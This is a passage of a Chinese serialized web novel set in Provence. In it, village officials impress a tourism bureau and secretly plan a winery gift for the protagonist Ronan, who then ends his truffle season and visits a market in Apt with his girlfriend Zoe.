昆西对吕贝隆的文化非常了解。 在这里,男人干手工是要被笑话的,那是女人干的事情。 现在这么多男人居然聚集在一起上编织课? 卢尔马兰和吕贝隆其他的村子完全不一样.昆西不由得感叹起来。 他看向布兰科: “是有人组织他们这样做吗?” 布兰科笑着摇头: “是自愿的,没人逼他们。” 自从皮雷把编织家具的价格传的人尽皆知,这些男人们也不顾什么面子了,主动找巴蒂学编织。 威利在人群里看到了康奈尔,想到他那一大串职业,问布兰科: “因为现在是农闲时间才这么积极吧?之后是不是还要干别的?” 回答他的是几个上课的村民。 “跟农闲没关系,什么赚钱我干什么!” “即使到了农忙,也要做编织啊,不耽误的。” “反正我会跟着罗南干,罗南干什么我干什么,一准没有错的。” 这次旅游局来卢尔马兰,主要是来考察艺术氛围,同时找找那个有可能的‘隐患’。 经过大半天的观察,昆西没有找到任何隐患,相反的,却找到了许多卢尔马兰身上不同于其他村子的‘优质’特性。 首先这里的村民不排斥外乡人,这是发展旅游业的基础。 其次这里的人并不迂腐,能够想通‘什么赚钱干什么的道理’,而不是守着自己那一亩三分地,这也对发展旅游业有利。 最后,卢尔马兰的的确确有许多亮点,建筑、艺术家、出来工作的女人 但这还不足以支撑昆西完成他的全部报告。 “了解的差不多了,我们去你们的会议室聊聊博物馆的主题吧。” 博物馆的主题一定和卢尔马兰未来要发展的道路挂钩,昆西要综合评估卢尔马兰的发展潜力了。 会议室已经被提前装饰成了一个小小的展馆。 墙上挂满了希尔维在过去一年中拍下的关于卢尔马兰重要时刻的照片。 昆西着重留意的是集市的部分: “旅行集市的人流量似乎也不太大?” 从照片上看,即使在旅游高峰期,集市的规模也完全无法和梅纳村比,和吕贝隆的其他村子的比也可以用‘平平’来形容。 太遗憾了 如果集市文化能够强力一些,昆西真的考虑把报告写的稍微‘不客观’一点点,毕竟卢尔马兰有那么多亮眼的东西。 布兰科也遗憾的摇头: “确实,罗南的餐厅没有赶上去年旅行季结束前开业,不过相信今年旅行季集市的人流量会提高不少。” 罗南罗南,又是罗南! 这个名字贯彻了今天一整天的考察,已经让昆西听烦了。 这个之前的村民、现在的艺术家还能把游客变出来来不成吗? 希尔维指着墙上的某几张照片给大家介绍: “这是万圣节卢尔马兰的样子,那次来了很多人参加罗南举办的万圣节活动。” 昆西顺着她手指的方向看过去,发现那几张照片里果然全部是游客开心的笑脸。 心已经完全倾斜了的艾利安故意问: “你们办万圣节活动了?11月份旅行季结束,还能来这么多人?” 布兰科笑容灿烂的说: “因为罗南办的万圣节活动有意思,不少游客说,卢尔马兰的万圣节氛围比艾克斯还好,明年还要来。” 艾利安默默观察昆西的言行。 这可是11月!吕贝隆其他村子的11月吸引来过这么多人吗? 艾利安已经忘记了自己的身份,但昆西没有。 虽然卢尔马兰拿到旅游局的预算已是板上钉钉的事,只是多少的问题.但他们之前的表现太过‘积极’,必须紧急补救,之后昆西的表现都要冷淡些。 昆西没什么情绪的点评道: “很不错,不过可能因为吕贝隆知道万圣节的人比较少,大家觉得新鲜。” 艾利安无语的翻了一个白眼。 希尔维继续指着另外一组照片说: “这是我们去年的还愿盛典,同样吸引来了许多人。” 昆西又跟着看过去。 发现这几张照片里的景象更加热闹了。 “这个是?”威利指着一张情侣在烟花下亲吻的照片问。 整面墙上挂的全部是和旅游相关的照片,怎么突然闯入爱情主题了? 卢尔马兰的几位官员笑了起来,由布兰科解释: “照片里的人是罗南和她的女朋友佐伊,就是在戈尔德大放光彩的两位艺术家,我们认为他们两个人,尤其是罗南,是卢尔马兰发展道路上最最重要的人物,卢尔马兰能发展成现在这个样子,没有一件事可以离开他,他是卢尔马兰的标签、同样也是景点.但我们只有他这一张照片,就挂上这个了。” 艾利安和威利同时激动起来: “原来罗南是那对艺术家情侣之一!” 眼前的人物和不够全面的听闻终于连成线了。 不过他们再激动,也没有昆西激动。 “是他!”昆西用力敲了几下照片上罗南的半张脸。 他认出了照片里的那个人.也回忆起了他们见面的场景! 布兰科说,卢尔马兰的所有发展都离不开这个人,他是最最关键的那个人物,那么—— “博物馆的主题是什么?”昆西无比迫切的问。 布兰科和几位下属对了个眼神,认为现在可以说出来了: “粉红酒。” 昆西‘唰’的看过去,眼神变得炙热: “卢尔马兰今年的申请什么时候交上来?” 第368章 罗南值得最好的 罗南回家的路上,看到布兰科等政府重要官员在村口的停车场送一辆黑色轿车离开。 猜到那有可能是沃克吕兹省旅游局的人,他放慢了车速,待黑色轿车驶离,把车开了过去。 “是旅游局的人吗?怎么现在才离开?”不等车子停稳当,罗南摇下车窗问,“考察的怎么样?” 现在已经晚上6点半,算算时间旅游局这是在卢尔马兰待了一整天,吃完晚饭才离开的? 紧绷了一整天的希尔维终于放松了下来,扶着罗南的车门说: “是旅游局的人,这几个人太能说了,尤其是那个领头的男的要不是天快黑了还不走呢。” 自从聊到要将粉红酒作为特色发展的话题,昆西就像变了个人似的,不仅就粉红酒大聊特聊,还主动要求去罗南的餐厅再吃一顿晚饭.似乎要去观察什么。 克劳德揉了揉大腿: “那个女官员也闲不住啊,挨家挨户的看,妇女们都跟我抱怨了,说她一直问问题耽误大家赚钱了。” 艾利安也想多多的观察卢尔马兰的妇女和孩子,不想太早离开。 她几乎去拜访了村里每一个做编织的家庭,并鼓励她们继续发展手工业,还说如果有什么需要帮助的地方,可以给沃克吕兹省旅游局写信,只要信来自卢尔马兰,她一定会看。 希尔维和克劳德的话让罗南拿不准今天顺利与否,他求助的看向布兰科: “旅游局的人有说什么吗?” 带旅游局考察卢尔马兰的一天,也是布兰科回顾卢尔马兰过去一年发展和变化的一天。 此时的布兰科深深的触动于卢尔马兰的巨大变化和罗南对这里做出的贡献。 他满怀感激的说: “虽然没有说太多表明态度的话,但看反应是满意的.临走时催促我们把今年的申请提交上去,并提醒里面的内容尽量全面和细致一些,以便他们重新评估。” 一提到这个话题,罗南想起了正事: “你们什么时间交申请?我前几天去了一趟格拉斯,参观了那里的国际香水博物馆,里面有许多可以借鉴的地方,改良一下或许可以运用到卢尔马兰的粉红酒博物馆里面,我明天去政府找你们聊聊?你们明天有时间吗?” 按理说忙忙碌碌一周多,旅游局好不容易离开,大伙儿应该休息一下、喘口气再聊工作。 但听到罗南有重要的事情分享,不等布兰科说什么,希尔维先一步答应下来: “会议室还没收拾,要不然你跟我回去,我们先聊聊?” 克劳德也站直了身体: “我跟你们一起去,粉红酒博物馆是我主要负责的。” 罗南摁了一下喇叭,很是迫切的对他们说: “上车吧,我带你们回去,但是得挤一挤,只有一个位子。” 这件事耽误好几天了,罗南也想赶紧办完。 “没事,我蹲货箱里。”说着克劳德弓身挤了进去。 布兰科站在车后,哭笑不得的对几个人说: “不用那么着急,罗南还没吃晚饭呢” 随即他也跟着上了车。 有一支这么高效又有责任心的团队,是他的荣幸! 当然,最荣幸的事情是,村里有一个村民叫罗南!! 布兰科等人以为罗南只是简单的分享经历,很快就能结束,聊完可以让他回去好好吃饭。 没想到罗南的‘见闻’非常重要、信息量也非常庞大。 罗南讲一会,大家讨论一会,再根据这条经验分析如何运用到粉红酒博物馆上,不知不觉时间来到了晚上8点半。 “我想一想啊。”罗南看着白板上克劳德做的笔记,小声嘟囔起来,“会员制度、参观主题、参观的起始就要勾起大家对粉红酒的兴趣、针对不同阶级的客户开发不同定制项目、用孩子留住他们的家长.嗯嗯,应该没其他了。” 确认没有什么疏漏后,罗南低头扒了几口饭。 罗南到了政府第一件事就是给餐厅打电话,说晚点回去,他有重要的事情要办。 见儿子迟迟没回去,冯珍让伊莎贝尔给罗南送来了一份员工餐,但刚刚聊的太尽兴,没顾上吃几口,现在一吃全凉了。 克劳德等人像是打了鸡血一样,继续针对罗南的分享发散讨论。 这都是宝贵的经验! 要赶紧记下来,并快速消化!! 布兰科则看着罗南说: “别吃了,都凉了,我们今天先到这里吧。” 罗南在山里待了一天,连口热水都没喝,一到卢尔马兰就为政府‘分忧解难’。 连出去旅游想的都是卢尔马兰的博物馆. 怎么能让卢尔马兰最大的功臣吃凉了的饭菜呢? 罗南把头抬起来,摇着脑袋说: “除了在格拉斯的见闻,我还有一件想要和你们聊聊” 旅游局已经来卢尔马兰考察过了,政府交报告的时间肯定就在眼前。 罗南憋了两个多月之久的‘大秘密’,到了需要坦白的时刻。 布兰科既感动又心疼的问: “什么事?” 会议室内的其他人也把目光注视了过来。 还有什么事情要分享吗? 罗南喝了一口早已凉透了的咖啡,把嘴里的饭送下去,同时斟酌着说: “结合着我在格拉斯香水博物馆的见闻和卢尔马兰的实际情况,我认为.卢尔马兰应该拥有一个属于自己的粉红酒品牌,咱们自己有葡萄,完全可以干起来。” 酒庄的话题太过突然,罗南需要进行一些铺垫才好说出自己的目的。 不要忘记他的目的是找政府借钱! 之前罗南分享博物馆的话题时,官员们的反应非常热烈,一句话能勾出好几十句话的讨论。 但这次罗南说完,会议室里突然安静了下来。 所有人都表情复杂的看向布兰科。 罗南心里咯噔一下。 难道之前聊过这个话题但并没有通过吗? 为了说服众人,罗南继续争取道: “我曾经对布兰科说过,沃克吕兹省旅游局想要保护粉红酒手工传统酿造技艺,如果有了粉红酒庄,可以把这一点写进报告里,那一定会对申请预算有所帮助。” 见大家还是无动于衷,罗南认真的举起右手: “我发誓我说的是真的,这一定可以帮助我们申请到更多的预算!” 大家同时读出了罗南语气里的真诚。 他事事都在为卢尔马兰考虑,连申请预算都考虑到了。 一屋子人对罗南投去或感激或感动的目光,但就是没人敢说话。 酒庄是卢尔马兰政府最高级别的机密,今天面对旅游局时都刻意隐瞒了,只说有在考虑。 沉默了许久的布兰科终于有反应了。 他慈祥的声音如春日里的温暖阳光,包裹住了有些心急的罗南: “我们相信你,但今天很晚了,这个话题我们改日再谈。” 罗南看着布兰科认真的说: “别改天了,就今天,定下来你们好写进报告里,等了这么久、等到旅游局来了还没提交报告不就是为等我们几个在戈尔德带来的所有连锁反应全部显现再交上去吗,我认为现在的卢尔马兰足够——” 知名度、艺术氛围、村民的心态、卢尔马兰手工艺合作社.这一切的一切都是戈尔德艺术活动引发的。 罗南认为他亲自掀起的波浪已全部抵达卢尔马兰,不需要再等什么了,应该尽早提交申请,以防‘夜长梦多’。 但布兰科突然拍了几下罗南的胳膊,欲言又止的说: “我们考虑一下,再等几天再等几天再聊这个话题。” 罗南认为最好的坦白时机已经到来。 但布兰科所认为的最佳时机还差的远呢。 9点多的卢尔马兰政府依然灯火通明。 布兰科明显不想聊这个话题,罗南也没办法逼他,只能苦闷的离开。 但罗南离开后,官员们继续加班了。 因为布兰科宣布,卢尔马兰要在三天之内向沃克吕兹省旅游局提交他们准备了大半年的申请资料。 会议室里。 希尔维对加班没有怨言,但她对村长的反应不满: “布兰科,你为什么不向罗南坦白?他当时的表情难过级了,肯定误会我们没有理解他的出发点。” 克劳德没有希尔维那么大的怨言,但同样心疼罗南: “他真的为卢尔马兰付出了一切.扎堆的艺术家、良好的生活氛围、走出家门的妇女、充满希望的笑脸、来自世界各地的关注一个村民,甚至连博物馆的运营和申请报告都操心,布兰科,我提议为罗南设立一个奖项——最佳居民奖,罗南是终身荣誉村民!” 布兰科一边整理资料,一边头都不抬的说: “就是因为罗南为卢尔马兰做了这么多、付出了这么多.才不能让他再操心了,他做的足够多了,接下来交给我们吧。” 他表情平静的看向希尔维: “忙完这几天,你去接触一下斯特斯加粉红酒庄。” 从1月起,布兰科就让大家了解开不同级别的酒庄或者酿酒合作社的成本。 其中有一条路径是尝试着直接接手一个成熟的粉红酒品牌。 希尔维这么一打听,还真有酒庄要出手.而且是普罗旺斯最好的粉红酒品牌。 希尔维一听布兰科的语气,就知道他要干什么,这个家伙还没拿到预算,就想着要给罗南花钱了: “但斯特斯加太贵了!只是‘斯特斯加’这个名字就要价50-80万,还不算他们的设备!!” 布兰科用不容置疑的语气说: “罗南值得最好的。” 虽然旅游局的人今天没有说明,但布兰科已经看出情况和他们预想的一样——卢尔马兰在许多方面都打动了他们。 预算申请下来那天,一定是卢尔马兰‘举村欢腾’的大日子。 在那一天,他要让对卢尔马兰贡献最大的罗南,成为村里最幸福的人。 这座普罗旺斯最出名的粉红酒庄只是一份小小的答谢礼,卢尔马兰欠罗南的他会一一补回来! 第369章 值得期待的新开始! 经过了一整个冬季,罗南对弗拉西耶附近的道路和地形比对卢尔马兰还熟悉。 居住在卢尔马兰一年多,但他从来没有用双脚如此频繁的丈量过一片土地,但他在弗拉西耶时会.因为这里是他的秘密基地。 尤其2月底,‘秘密花园’开始频繁出现其他松露猎人,罗南在弗拉西耶的活动范围更加大了。 以前那片密林属于罗南自己,他想去哪儿挖就去哪儿挖,全看心情,只要记住去过哪里就行,现在每过几天就会在密林里发现刚刚留下不久的脚印。 罗南无法判断那人或者那些人挖松露能力如何,因为发现前方有脚印他便会换个方向前进,以避免做无用的努力。 但他敢肯定,那人或者那些人一定非常努力,每一次都在罗南之前到达这里。 只能说持续飙升的松露价格把越来越多的人吸引到森林里,大家都想通过这种黑色的小东西弥补寒潮带来的损失,如果运气好.说不定还能狠狠的赚一笔。 3月初,普罗旺斯黒松露的价格涨到了4750法郎/公斤,超过了去年同时期的两倍。 虽然松露季的前两个月由于产量过剩价格一度降低到1500法郎以下、后两个月又经历了巨幅减产,但今年普罗旺斯黑松露市场的成交总额突破了历史新高。 当然了,这个历史新高只能维持一年。 因为今年11月的松露价格只会高不会低,明年的黑松露市场成交总额一定会再创新高的。 “弗拉西耶这一带已经不够秘密了,现在找松露的效率越来越低,今年就开始有竞争压力了,明年可怎么办啊。”罗南凭借手电筒的光亮分辨了一下方位。 他下车沿着正北方向走了40多分钟,已经来到了深入密林1.5公里的地方,从这里开始要向东北方向前行,继续往前很容易遇到同行。 往西北走半个小时后转向正北,再走大概2公里会见到一片稀疏的地中海松林,见到这片松林一路沿着正东前行,穿过松林、重新进入密林后就可以仔细寻找目标树了。 原先罗南在森林里的有效找松露时间在5-6个小时,现在光是路途来回就要花5-6个小时.已经快把他逼疯了。 但重新找‘秘密花园’又要浪费不少的时间,这个松露采摘季马上结束,罗南打算忍一忍,到11月份再换基地。 “下次见布鲁诺找他要一些普罗旺斯的森林信息,应该可以根据海拔、地形、土壤等信息圈定目标区域。”分辨好了方向,罗南把手电筒打到地上,不由得加快了脚步。 没错,现在这个时间太阳刚刚升起,头顶有树木遮挡,还需要用强力手电照明。 按理说3月的松露品质已经不太好了,还有那么多人抢生意,富有的罗南应该结束这个松露采摘季,回家好好享受生活。 但现实却是——罗南更加刻苦了,起的一天比一天早。 没办法.布兰科的态度给了罗南无比巨大的打击。 如果政府不打算成立自己的品牌,罗南就很难申请到预算扶持,那么想要接手斯特斯加酒庄就只能靠自己。 但问题是罗南的钱不够 罗南有在月初盘点前一个月收入的习惯。 经过3月初的计算,罗南发现想要靠自己接下斯特斯加酒太难了,即使一整个2月他的收入来到了一个恐怖的数字。 2月罗南依然没有去集市摆摊,这部分收入为零。 但伊内斯在《密法尔指南》里加重了他摊位内容的比重,罗南打算休息一个月,在4月份恢复集市的行程。 2月餐厅的收入相当不错,中旬罗南和母亲聊起这个话题,冯珍说这个月有可能破10万法郎,达到和开业同期的水平,结果2月的总利润比他们预想的更高,有将近11万。 按照惯例,罗南把2万法郎和那些零头留给了父母,留下剩下的9万法郎。 编织订单带来的收入也提升了,一整个2月罗南什么都没干,还分到了3万7。 2月初罗南做‘相思鸟’的研发花费了几天,中旬又连续去戈尔德做宣传,月末还去了一趟格拉斯实际进山采松露的日子只有10天。 但就是这10天给他带来了13万法郎的收入,如果不是2月末找松露的效率大幅度降低,很难像1月底那样每天带回去2.5公斤,这个数字还会继续提升。 ‘松露是普罗旺斯最赚钱的生意,没有之一’这句话罗南始终深信不疑。 干其他事情一天能赚1万多法郎吗? 也许有,但那要看天时地利就比如被拍出了高价的‘相思鸟’。 和拍卖会分成后,罗南拿到了24万法郎的支票,‘国宝’等一系列免税政策给罗南省掉了绝大部分的税费,实际到手的有21万多,在重税的法国这几乎等于‘免税’。 这样算下来,罗南整个2月的收入达到了惊人的46万多法郎之多,居住在卢尔马兰没有什么花钱的地方46万都可以存进银行里。 看起来赚的已经很多了吧? 再加上罗南之前存下的29万,一共是75万法郎。 但这些钱只够买下‘斯特斯加’这个名字,什么设备、厂房、人工和葡萄都没有影呢! 这个情况逼着罗南必须抓住松露采摘季的尾巴,每天更加努力的进山,即使现在的松露已大量出现老化现象。 “能存多少存多少,剩下的只能靠贷款了。”罗南不停鼓励自己。 不知不觉,罗南来到了重要的地标——稀疏的地中海松林。 他拿出指南针,找到正东的方向,继续前行。 此时,耀眼的太阳已经完全升起,不需要再依靠手电照明了。 这一片林子罗南在之前找了个七七八八,应该没有遗漏,于是他的注意力全部放到脚底,希望快点穿过去。 在迈过一根拦路的巨大树根时,罗南意外发现地上有一个清晰的脚印,那脚印旁边还有一个明显的手印。 罗南脑中马上出现了场景——黑暗中,一个可怜的家伙没有注意脚下,在这里摔了一跤,落地前他艰难的用手撑住了自己的身子。 “这里也来人了。”罗南蹲下去,仔细寻找其他脚印的踪迹。 很快,他发现那人和他去的是同一个方向,也是正东! “该死的,我都起这么早了怎么还有人比我更早?” 罗南发誓,下一个松露采摘季找基地时,一定要加上一个必要的条件——距离卢尔马兰越近越好! 他不信这样还能有比他到的更早的人! 不过那将是大半年之后的事情,眼下重要的是今天要怎么办。 卢卡斯曾不止一次告诫罗南,森林里最大的危险是眼睛里闪烁着黄金色光芒的猎人。 如果见到同行的踪迹,最明智的选择是换一个地方,千万不要赌他们和你一样友好,或者跟在他们屁股后面依然能找到松露。 正东肯定是不能去了,罗南不得不改变方向向北行进,这是一片他没有来过的区域。 地中海松树的根系同样有可能和松露共生,但概率较低。 通常情况下,罗南不会在地中海松林里浪费时间,不过现在情况特殊,万一走出松林发现又有人和他抢地盘呢? 于是在留意地上有没有脚印的同时,他也会抬头找寻目标树的踪迹。 松林果然不靠谱。 罗南找了许久才看到第一棵目标树——这棵树顶部树叶明显有缺失的痕迹,不是完整的‘三角形’。 罗南现在一套挖松露的步骤极其娴熟,完全刻在了骨子里。 发现目标树的第一反应是扶住自己的背包,这样有助于蹲下去闻的时候保持平衡。 走过去、蹲下、撅屁股、用力吸气. 味道出现的瞬间,罗南已从背包的一侧拿出了工具,开始挖掘。 约1分钟后,一颗表面凹凸不平、颜色惨淡、附着很多泥土的松露出现在了罗南的手里。 罗南现在可以清晰的辨别出死松露的气味,这颗松露虽然没死,但品质已经卖不上什么价格了。 他没舍得扔掉,依然放进了自己的松露袋子。 在整个地中海松林中,罗南一共发现了4颗松露,其中3颗已经无法食用。 好不容易走出这片松林,看到了更容易和松露共生的宿主树科属,但依然没有太大的收获。 找了好几颗,都几乎全部不能食用了。 大半个小时的成果只有3颗好松露,和2颗有可能被吃不起新鲜松露、只能吃松露酱的村民买走的品质非常差的松露。 “今天也太惨了。”罗南不停摇头。 接下来的发展越来越差,差到罗南提前拿出带来的食物。 吃饭时,罗南抬头看着密林和头顶的阳光,发了好一阵愣。 效率这么低,已经没有必要待在山里了。 这个一拨三折的松露采摘到了该结束的时刻。 今年松露采摘季结束了,但罗南和松露的故事没有结束,半年后他肯定会再次进山。 不过他和弗拉西耶的故事要画上一个句号了。 “再见弗拉西耶。”罗南拿起手里的水杯,很正式的和这片林子做了告别。 松露采摘季的结束,意味着春天和多姿多彩生活的开始。 冬天吕贝隆可以玩的地方少,可以经历的事情少,可以做的事情也少总之有意思的东西少了太多。 但春天到来,意味着普罗旺斯丰富多彩的生活又要开始! 为了庆祝新一年多姿多彩生活的开始,罗南回到餐厅随便找了一个理由和农夫们庆祝了一番。 喝着酒、吃着肉,有朋友相陪,让罗南有一种回到去年雨夜的幸福感。 唯一的遗憾是——佐伊不在身边。 她还在制作帕特里西亚小姐的那个订单,无法抽身。 这一整个冬天,罗南都没有什么机会和佐伊好好‘谈恋爱’。 不是他有事,就是佐伊有事,偶尔共处也是为了工作,不过一整个冬天的忙碌也换来了两个人事业上的巨大成功——他们成为了普罗旺斯最有名的一对情侣。 正在罗南内心矛盾之际,身后响起了让他‘魂牵梦绕’的声音。 “今天要好好庆祝一下!”佐伊拿起罗南的杯子,咕咚咕咚喝了起来。 罗南抬头,不理解的问: “你要庆祝什么?” 佐伊突然抱住罗南的脖子: “我终于做完订单了,这难道不值得庆祝吗?” “我的松露采摘季也结束了!”罗南兴奋的说。 他和佐伊太有默契了,各种方面! 这都能赶到同一天吗? 佐伊开心的拍了几下罗南的胳膊: “快吃,吃完我们出去。” “去哪儿?”罗南傻乎乎的问。 佐伊俏皮的眨了下眼睛,趴在罗南的肩膀上说: “现在天气没有那么凉了,‘夜游’可以恢复了,天知道我盼这一天盼了多久.我太怀念去年的日子了!” 罗南笑着回抱佐伊。 他可以和佐伊一起迎接丰富多彩的新生活了! 第370章 吕贝隆妇女最喜欢的地方! 阔别几个月之久的夜游让罗南和佐伊既激动又兴奋,即使是路边的一棵树也能开心的说上好久。 尤其今年卢尔马兰搬来了这么多新邻居,又多了那么多好看的房子.相信未来夜游的景色一定是丰富多彩的。 不过见到佐伊不停的拉领子,还往自己的身上靠,罗南认为今日的夜游可以暂时告一段落。 3月初吕贝隆山谷的温差很大,晚上只有8度左右,应该想点室内的活动.温暖的春天还要等些日子才开始呢。 “你有没有什么想做的事情?”罗南把佐伊搂在怀里,“除了夜游,还有什么事是想做但因为太忙一直没做的?” 佐伊想了几秒,突然眼前一亮: “有一个!” 看着佐伊亮晶晶的眼睛,罗南宠溺的问: “是什么?” 佐伊脱离了罗南的怀抱,倒退着走的同时可爱的双手在胸前比划起来: “我想学做饭,妈妈出去工作后,我、爸爸和维埃里打赌谁可以接下妈妈最佳厨师的荣誉,维埃里每天在餐厅里帮忙,已经可以独立做许多种意面和馅饼,爸爸烤的肉也很好吃但我的水平还停留在做尼斯沙拉。” “这还不简单?”罗南指了指自己,“想学什么菜,我教你!” 佐伊笑意盈盈的说: “我不想上速成班,只会一两道菜的那种,而是想要系统的了解和学习。” 她转过身去,不让罗南看她的表情: “虽然你是个很棒的厨师,但未来有了家庭,我不能什么忙都帮不上,基础的烹饪知识还是要掌握的。” 莉亚把孩子们照顾的非常好,佐伊从小到大都没有接触过烹饪,路易经常闯祸,也是因为莉亚把他照顾的太细致了现在莉亚离开了家庭,大家要找回之前缺失的生活经验。 而这其中最着急的就是佐伊。 她马上就要有自己的家庭了! 但似乎除了能赚钱,佐伊没有其他能拿得出手的东西. 基本的生活能力肯定是具备的,但佐伊没有把握能像母亲那样把罗南照顾好。 烹饪只是第一步,未来佐伊想要好好的提升一下自己在生活方面的各种能力。 罗南喜笑颜开的快步追上去,看着佐伊的侧脸问: “我该如何帮助你?” 佐伊水光明媚的浅蓝眼眸与罗南相对: “明天中午我给你做几道美食.先看看我的水平?” “没问题——”罗南激动的喊起口号,“我一定会把它们消灭干净!” 这是佐伊第一次给罗南做饭,无论做成什么样,他都会全部吃完的。 “去餐厅拿点食材?”罗南指着商业街的方向问。 他猜路易家一定没有什么做饭的东西,最近几天他们一家四口都是在餐厅吃。 佐伊想了一下,用商量的语气说: “系统的学习烹饪,是不是应该从食材挑选开始?我想自己去买材料。” 罗南想都没想就点头,但马上又有些迟疑: “明天这附近没有大的集市,不过肉店和菜店里的食材足够你用了,明天一早我陪你去买菜。” 松露季结束了,罗南有大把的时间。 佐伊完成帕特里西亚小姐的订单后,时间也全部属于自己。 提到‘挑选’,当然要去琳琅满目的集市了,在那里可以看到吕贝隆最应季的东西。 不过遗憾的是,明天小吕贝隆没有集市。 佐伊突然笑起来,抬着头看罗南: “怎么?我第一次认真买菜不值得去远一点的地方?” “嗯?”罗南快速回忆着明天大吕贝隆的几个村子是否有集市。 戈尔德的集市是周几来着? 索格岛有集市吗? 佐伊笑容明媚的挑了下眉毛: “今晚没有‘逛’够,明天一早我们去阿普特的米洛纳广场吧,听说那里是吕贝隆妇女最喜欢的地方,我想去看看.” 罗南开心的拉住佐伊的手: “去去去,去哪里我都陪你,‘春游’和‘夜游’都要恢复了!” 作为吕贝隆的‘小首府’,阿普特有大大小小许多个市场,遍布全镇的每一个方位。 位于米洛纳广场的米洛纳市场是最受本地人喜爱的.因为这个市场打出的口号是——卖全吕贝隆最便宜的美食。 经济实惠的美食还吸引来了许多附近村镇的妇女,时间一长,‘米洛纳市场是吕贝隆妇女最喜欢的地方’这句话就传出去了。 罗南来过阿普特很多次,但米洛纳广场这一带他第一次来,这个老广场给他的第一印象和预想中的‘大相径庭’。 “这里真神奇,明明这么荒凉,却又这么‘熙攘’,现在才8点就没车位了?” 按理说这么有名的市场附近应该安排了许多停车位,事实也确实是这样的——市政部门把广场周围五百米内的每一寸土地都利用了起来,作为停车的地方。 但罗南转了三圈愣是没找到一个空的停车位,全部被大大小小的货车和私家车抢占了。 不过这三圈让罗南欣赏到了米洛纳广场的360度全景: 广场中间竖立着一座非常丑陋的纪念碑、一侧是破旧的古建筑,枯燥寂寥的味道隔着车窗都能闻到。 但广场的另一侧又是另一番景象,无数堆满货物的小推车和拿着菜篮子的妇女行色匆匆的进出于一座火车站一样的建筑,里面灯火通明,喧哗的像是在给整座城市提供叫早服务,气氛忙碌又生动。 这便是他们今日的目的地——米洛纳市场。 佐伊一边留意两侧可以停车的地方,一边感慨道: “米洛纳市场早上五点开始营业,前半个小时留给采购商和餐厅老板,6点之前吕贝隆最勤劳的妇女已经完成一天或者几天的采购了。” 找车位的状态让罗南担忧起了市场里的情形: “估计里面比外面更加‘拥挤’。” 罗南终于在距离米洛纳市场两条街的地方,给他的车子找到了一个可以安身的位置。 步行去米洛纳市场的路上,他在路上看到了两个流浪汉,虽然现在才8点多,但他们的手里已经拿着红酒瓶了。 罗南开玩笑的说: “普罗旺斯的流浪汉也坚持‘一睁眼就喝’的普罗旺斯习性啊。” 佐伊耸肩: “这只能说明,给他们红酒的人在更早一些就开始喝了,好了要到市场门口了,拉紧我,千万别分开。” 佐伊刚说完没几秒,就有一个装着土豆和番茄的手推车撞到了罗南的屁股。 那推车上堆放的货物太高了,高到罗南回头都没看到推车的人是男是女。 “抱歉了伙计。”一道略沧桑的声音从货品后出现,听起来像是个年纪不小的老头。 “小心些。”罗南没有责怪的意思,只是担心这种高难度的动作是不是对于他的年纪来说过于危险。 “哎呀呀——”那手推车车突然加速,以恐怖的速度绕过了罗南和佐伊。 罗南赶紧把佐伊保护起来,看到从他身边飞奔过去的是一位个子矮小的女性,并不是什么老头。 而她弯道超车的原因,是由于后面有一列列同样超载的小推车撞到了她的屁股。 看着后面密密麻麻的超载货车,罗南有一种看到火车头向自己袭来的压迫感,他一边护着佐伊,一边寻找可以暂时躲避的地方,给那些超速的水果和蔬菜让路。 最后罗南一头扎进了市场门口的一间餐厅里,进门时,他看到这家餐厅的名字叫——安宁。 好名字啊,罗南现在需要的正是片刻的安宁。 但罗南的梦想破灭了,餐厅里非常嘈杂,似乎有100只鹦鹉开会探讨早餐应该吃什么。 嗯,也可能是午餐。 因为罗南很难从桌子上摆放的食物分辨出他们吃的是哪一顿。 有一个老兄手里握着一根流着油的香肠,另一只手的杯子里有一些褐色的液体,看起来像是威士忌。 还有一桌客人在吃色泽诱人的烤披萨,配着披萨下肚的是一种本地生产的啤酒。 还有一桌身材魁梧的壮汉正优雅的喝着香槟,他们的身上和指甲里有许多泥土,看来已经在庆祝今天的生意顺利了。 “在这里吃早餐吗?”罗南看着佐伊问。 他们都没有在家里吃饭,约定好来阿普特一起吃。 但这家在大多数人起床之前就开始卖香槟的餐厅.让罗南有一些拿不定主意了。 佐伊安慰罗南,也是在安慰自己: “这里应该有温和一些的早餐,你知道的,在这周围上班的人起的比较早,现在是他们的午饭时间了。” 罗南也很有乐观精神的说: “的确,以前在集市出摊的日子,早上九点我就会想午餐吃什么。” 摆摊的时候,罗南想吃什么都能吃到,选择还是挺多的。 但这家名叫‘安宁’的餐厅提供的早餐选择只有一种——一款非常粗犷的三明治。 这真是罗南在普罗旺斯见过最粗犷的三明治了。 里面除了海量的香肠、奶酪和腌橄榄外没有其他东西,而且一根比成年男子小臂还长。 更加恐怖的是,如此巨型的三明治居然没有给餐具,所有人都是拿起来啃着吃。 罗南发誓,无论吃的是早餐还是午餐,这一个三明治进肚都可以撑到晚餐。 罗南没有早餐配酒的习惯,给他和佐伊点了两杯咖啡。 佐伊对食物匮乏不是很满意,一边搅拌咖啡一边对罗南说: “你先尝尝,如果不好吃,我去里面买别的。” 挑食的佐伊认为这个三明治并不是她的‘菜’。 罗南按摩了几下下巴,‘嗷呜’一口咬下去,三明治只受了一些轻伤,咀嚼了几下,他意外的把三明治递到佐伊嘴边: “味道不错,火腿经过了特殊的腌制。” 佐伊半信半疑的咬了一小口,很快又补了一大口: “很好吃。” 没有餐具,两个人只能轮流啃这个巨型三明治。 似乎想到了自己就要为人妻、需要多多锻炼照顾人的能力,佐伊主动承担起了‘喂饭’的工作。 整个吃饭过程,她自己吃一口,喂罗南吃一口,中间还会穿插给罗南擦嘴的动作,根本不给罗南‘自理’的机会。 【品尝普罗旺斯特色香肠三明治幸福度增加12点】 【与有魅力的异性共进早饭幸福度增加19点】 【与异性发生身体接触幸福度增加35点】 罗南耳边的提示音不绝于耳。 早在去年他就总结出了关于‘吃’的【幸福度】规律,大体如下: 自己吃饭幸福度是N。 和佐伊一起吃饭,幸福度是N+2或者3。 佐伊夹菜给他吃,幸福度是N+4或者5。 发现这个规律时,两个人还只是一起拼摊位的普通朋友,不过罗南还是忍不住想——如果佐伊全程喂他吃,又能获得多少幸福度呢? 现在他可以很负责任的说——至少4N!! 见罗南一边吃一边笑,佐伊体贴的问: “很喜欢?没吃够我们打包一个。” 罗南嘴巴鼓鼓囊囊的: “里面肯定有其他好吃的,我们再去吃别的。” 佐伊最后给罗南擦了擦嘴,又把咖啡递到他的嘴边: “好,我继续喂你!但我担心里面太乱.你不一定会喜欢这里。” 罗南开心的说: 